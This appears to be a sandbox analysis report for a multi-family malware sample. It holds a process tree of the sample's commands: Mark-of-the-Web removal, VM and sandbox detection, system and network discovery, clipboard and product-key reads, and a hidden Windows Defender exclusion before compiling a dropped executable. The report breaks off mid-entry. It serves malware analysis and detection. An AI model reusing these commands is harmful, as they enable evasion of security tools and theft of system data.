PID 1212 wrote to memory of 2116	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	96
PID 2116 wrote to memory of 3988	2116	cmd.exe	98
PID 1212 wrote to memory of 1168	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	99
PID 1168 wrote to memory of 2060	1168	cmd.exe	101
PID 1212 wrote to memory of 3460	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	102
PID 3460 wrote to memory of 4800	3460	cmd.exe	104
PID 1212 wrote to memory of 3524	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	105
PID 3524 wrote to memory of 3116	3524	cmd.exe	107
PID 1212 wrote to memory of 2564	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	108
PID 2564 wrote to memory of 3452	2564	cmd.exe	110
PID 1212 wrote to memory of 3700	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	111
PID 3700 wrote to memory of 2600	3700	cmd.exe	113
PID 1212 wrote to memory of 4224	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	114
PID 4224 wrote to memory of 2204	4224	cmd.exe	116
PID 1212 wrote to memory of 4708	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	117
PID 4708 wrote to memory of 3488	4708	cmd.exe	119
PID 1212 wrote to memory of 2512	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	120
PID 2512 wrote to memory of 1668	2512	cmd.exe	122
PID 1212 wrote to memory of 236	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	123
PID 236 wrote to memory of 4672	236	cmd.exe	125
PID 1212 wrote to memory of 4668	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	126
PID 4668 wrote to memory of 1844	4668	cmd.exe	128
PID 1212 wrote to memory of 772	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	129
PID 772 wrote to memory of 1896	772	cmd.exe	131
PID 1212 wrote to memory of 5076	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	132
PID 5076 wrote to memory of 1096	5076	cmd.exe	134
PID 1212 wrote to memory of 1568	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	135
PID 1568 wrote to memory of 872	1568	cmd.exe	137
PID 1212 wrote to memory of 1552	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	138
PID 1552 wrote to memory of 1256	1552	cmd.exe	140
PID 1212 wrote to memory of 1252	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	141
PID 1252 wrote to memory of 2224	1252	cmd.exe	143
PID 1212 wrote to memory of 4304	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	145
PID 4304 wrote to memory of 4116	4304	cmd.exe	147
PID 1212 wrote to memory of 3224	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	148
PID 3224 wrote to memory of 4516	3224	cmd.exe	150
PID 1212 wrote to memory of 3324	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	151
PID 3324 wrote to memory of 4372	3324	cmd.exe	153
PID 1212 wrote to memory of 4212	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	154
PID 4212 wrote to memory of 2908	4212	cmd.exe	156
PID 1212 wrote to memory of 1352	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	157
PID 1352 wrote to memory of 792	1352	cmd.exe	159
PID 1212 wrote to memory of 4976	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	160
PID 4976 wrote to memory of 1220	4976	cmd.exe	162
PID 1212 wrote to memory of 5020	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	163
PID 5020 wrote to memory of 1780	5020	cmd.exe	165
PID 1212 wrote to memory of 3792	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	166
PID 3792 wrote to memory of 2732	3792	cmd.exe	168
PID 1212 wrote to memory of 4068	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	169
PID 4068 wrote to memory of 1308	4068	cmd.exe	171
PID 1212 wrote to memory of 232	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	172
PID 232 wrote to memory of 2396	232	cmd.exe	174
PID 1212 wrote to memory of 1692	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	175
PID 1692 wrote to memory of 3924	1692	cmd.exe	177

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2224	attrib.exe
4680	attrib.exe
1596	attrib.exe
1292	attrib.exe
4848	attrib.exe
1616	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:3228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk where "DriveType=3" get Size /format:csv
    3⤵
    PID:3360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get Name /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name /format:csv
    3⤵
    - Detects videocard installed
    PID:2408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:3988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1168
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:2060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3524
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:3116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:2600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4224
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:2204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\QEMU"
    3⤵
    PID:3488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Parallels"
    3⤵
    PID:1668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:236
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Wine"
    3⤵
    - Identifies Wine through registry keys
    PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
    3⤵
    - Looks for Xen service registry key.
    PID:1844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:772
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:1896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Cuckoo"
    3⤵
    PID:1096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeBox"
    3⤵
    PID:872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:1256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:2224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "driverquery /FO CSV"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\system32\driverquery.exe
    driverquery /FO CSV
    3⤵
    PID:4116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get Manufacturer,Model /format:csv
    3⤵
    PID:792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
    3⤵
    PID:1220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net use"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3792
- - C:\Windows\system32\net.exe
    net use
    3⤵
    PID:2732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\system32\tasklist.exe
    tasklist /NH
    3⤵
    - Enumerates processes with tasklist
    PID:1308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:232
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:2396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get SerialNumber /format:csv
    3⤵
    PID:3924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
  2⤵
  PID:1528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid 2>nul"
  2⤵
  PID:2676
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1452
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /nologo /optimize+ /out:C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780278410287.exe /lib:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780278410287.cs
  2⤵
  PID:3900
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7FE9.tmp" "c:\Users\Admin\AppData\Local\Microsoft\CLR\CSCA6D343245ED34724938CECD01F5B931.TMP"
    3⤵
    PID:1172
- C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe C:\snapshot\12vt\panel\server\build_temp\build_1780250162052_2cebk2\index.js
  2⤵
  - Executes dropped EXE
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
    3⤵
    PID:2964
  - - C:\Windows\system32\cmd.exe
      cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
      4⤵
      PID:5036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
    3⤵
    - Clipboard Data
    PID:4880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:1228
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:5100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:1808
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:4800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
    3⤵
    PID:2376
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:2132
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV"
    3⤵
    PID:2120
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:3248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
    3⤵
    PID:4192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey""
    3⤵
    PID:2028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    PID:1572
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "arp -a"
    3⤵
    - Network Service Discovery
    PID:1412
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:4608
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:1596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /displaydns"
    3⤵
    PID:1576
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /displaydns
      4⤵
      Gathers network information
      PID:488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "route print"
    3⤵
    PID:4040
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:3228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net share"
    3⤵
    PID:464
  - - C:\Windows\system32\net.exe
      net share
      4⤵
      PID:3084
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 share
        5⤵
        
        PID:4856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:392
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles"
    3⤵
    PID:4088
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      PID:3136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
    3⤵
    PID:1396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath""
    3⤵
    PID:4104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    PID:3320
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:696
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      PID:1344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
